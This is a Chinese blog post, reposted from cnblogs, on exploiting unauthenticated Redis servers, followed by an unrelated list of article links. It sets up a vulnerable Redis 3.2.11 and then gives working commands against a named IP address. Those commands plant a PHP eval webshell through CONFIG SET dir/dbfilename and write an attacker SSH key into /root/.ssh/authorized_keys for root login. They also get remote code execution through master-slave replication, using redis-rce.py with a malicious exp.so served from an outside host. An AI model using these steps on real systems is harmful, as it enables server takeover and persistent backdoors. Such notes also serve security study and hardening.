redis未授权访问简单总结
redis环境搭建
下载有漏洞的redis版本
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
编译文件
make
进入src目录,拷贝两个启动文件到/usr/bin/,返回上一级并拷贝redis.conf
到etc目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
cp redis.conf /etc/
编辑/etc/redis.conf
文件取消本地IP访问绑定,并关闭保护模式,允许远程连接redis服务
使用redis-server /etc/redis.conf
启动redis服务
攻击机直接下载redis拷贝文件即可
漏洞利用
使用namp检测远程主机redis开放情况
nmap -A -p 6379 --script redis-info 94.191.84.130
直接尝试登录redis
redis-cli -h 94.191.84.130
使用info查看信息
低权限写文件(需要有增删改查权限)
设置备份目录
CONFIG SET dir /tmp
设置文件名
CONFIG SET dbfilename webshell.php
向备份文件中写入一句话
CONFIG SET webshell "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
保存
save
利用"公私钥"认证获取root权限,ssh免密登陆目标服务器
- 生成公私钥并导出公钥为txt格式
- 写入公钥到redis
- 连接目标redis服务
- 设置备份目录为SSH公钥存放路径/root/.ssh
- 设置备份文件名
- 保存备份(写入公钥)
- 免密ssh登陆
生成公私钥
ssh-keygen -t rsa
导出公钥为txt格式
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
写入redis缓存
cat 1.txt | redis-cli -h 94.191.84.130 -x set crack
连接redis查看并设置备份目录
redis-cli -h 94.191.84.130
CONFIG GET dir
CONFIG SET dir /root/.ssh
设置备份文件名并保存备份文件
CONFIG set dbfilename authorized_keys
save
使用私钥免密登陆ssh
ssh -i id_rsa root@94.191.84.130
Redis 基于主从复制的 RCE 利用方式
1 . 连接远程未授权redis服务器
2 .设置主服务器为自己服务器
3.Redis的主机实例通过FULLRESYNC(全量复制)同步文件到从机上
4.然后在从机上加载so文件
5.直接执行恶意命令
先本地开启一个redis>4.0的版本,然后执行
python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so
原文地址:https://www.cnblogs.com/AirSky/p/Redis_Unauthorized_Access.html
- Kobject浅析
- ASP.NET Core应用的错误处理[2]:DeveloperExceptionPageMiddleware中间件如何呈现“开发者异常页面”
- RSA简介(二)——模幂算法
- 为虚拟机vCPU绑定物理CPU
- RSA简介(三)——寻找质数
- RSA简介(四)——求逆算法
- 平方根的C语言实现(三) ——最终程序实现
- ASP.NET Core应用的错误处理[3]:ExceptionHandlerMiddleware中间件如何呈现“定制化错误页面”
- 【视频】Es6新特性-Symbol
- shell编程/字库裁剪(3)——验证
- 特征选择(Feature Selection)引言
- shell编程/字库裁剪(2)——编程过程
- 使用mock来编译和管理RPM软件包
- C语言/原子/编译,你真的明白了吗?
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- keras和tensorflow使用fit_generator 批次训练操作
- php-fpm中max_children的配置
- python文件读取失败怎么处理
- PHP-FPM的配置与优化讲解
- python为什么会环境变量设置不成功
- keras自动编码器实现系列之卷积自动编码器操作
- PHP数字金额转换成中文大写显示
- 详解Python多线程下的list
- Python 字符串池化的前提
- PHP抽象类基本用法示例
- keras分类模型中的输入数据与标签的维度实例
- keras的三种模型实现与区别说明
- PHP智能识别收货地址信息实例
- Keras 在fit_generator训练方式中加入图像random_crop操作
- PHP面向对象程序设计继承用法简单示例